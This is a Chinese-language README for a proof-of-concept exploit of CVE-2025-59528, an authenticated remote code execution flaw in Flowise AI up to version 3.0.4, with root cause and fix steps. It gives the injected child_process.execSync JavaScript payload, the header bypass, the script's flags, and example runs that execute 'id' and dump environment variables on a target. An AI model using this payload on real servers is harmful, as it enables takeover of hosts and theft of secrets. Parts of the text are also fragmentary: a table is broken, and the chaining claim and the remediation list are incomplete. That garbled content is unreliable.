
Flowise AI 版本 ≤ 3.0.4 的认证远程代码执行 (RCE) 漏洞利用。利用 /api/v1/node-load-method/customMCP 端点中的漏洞,通过 Node.js child_process.execSync() 执行任意系统命令。包含完整的 PoC 脚本和修复步骤。
CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
已修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: r3nsi15
日期: 2025
Flowise AI 版本 3.0.4 及更早版本允许经过身份验证的用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在主机服务器上实现远程代码执行 (RCE)。
customMCP 节点的 load 方法接受用户可控的输入,该输入会在服务端作为 JavaScript 执行,且没有充分的清理或沙箱机制。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。
该端点还要求请求中存在 x-request-from: internal 标头。
| 端点 | 方法 | 需要认证 | 用途 |
|---|
/api/v1/auth/login | POST | 否 | 认证并获取会话 |
/api/v1/node-load-method/customMCP | POST | 是(会话 Cookie) | 存在漏洞的节点加载方法端点 |
文件: CVE-2025-59528_POC.py
requests 库pip install requests
python3 CVE-2025-59528_POC.py -e <邮箱> -i <目标URL> -p <密码> -c <命令>
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
-e | --email | 是 | 认证用户的邮箱地址 |
-i | --url | 是 | Flowise 实例的基础 URL |
-p | --password | 是 | 认证用户的密码 |
-c | --cmd | 是 | 要在服务器上执行的操作系统命令 |
验证代码执行:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
检索服务器环境变量:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] 已登录
[+] 漏洞利用已发送
[+] 状态码: 200
该漏洞利用将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<命令>');
return 1;
})()})
process.mainModule.require('child_process') — 加载 Node.js 内置的进程执行模块。execSync('<命令>') — 同步运行攻击者提供的操作系统命令。同时,请求中还附加了 x-request-from: internal 标头,以绕过内部来源检查,否则该端点会阻止调用。
customMCP 端点将用户提供的输入直接传递到服务器上的 JavaScript 求值上下文中,而没有任何清理或沙箱机制。结合通过 process.mainModule.require 对 Node.js 核心模块(尤其是 child_process)的无限制访问,形成了一个极易利用的 RCE 向量。x-request-from 标头检查并未提供有意义的安全边界,因为它没有针对任何可信来源进行验证。
这两个漏洞可以链式利用,对运行版本 <= 3.0.4 的 Flowise 实例实现无需认证的 RCE 攻击路径:
vm2、隔离上下文或移除 process.mainModule 访问权限)限制对危险 Node.js 模块(child_process、fs 等)的访问。x-request-from 标头。此概念验证仅用于教育和授权安全研究目的。在未获得明确书面许可的情况下,使用此脚本针对系统是非法且不道德的。作者和贡献者不对任何滥用行为承担责任。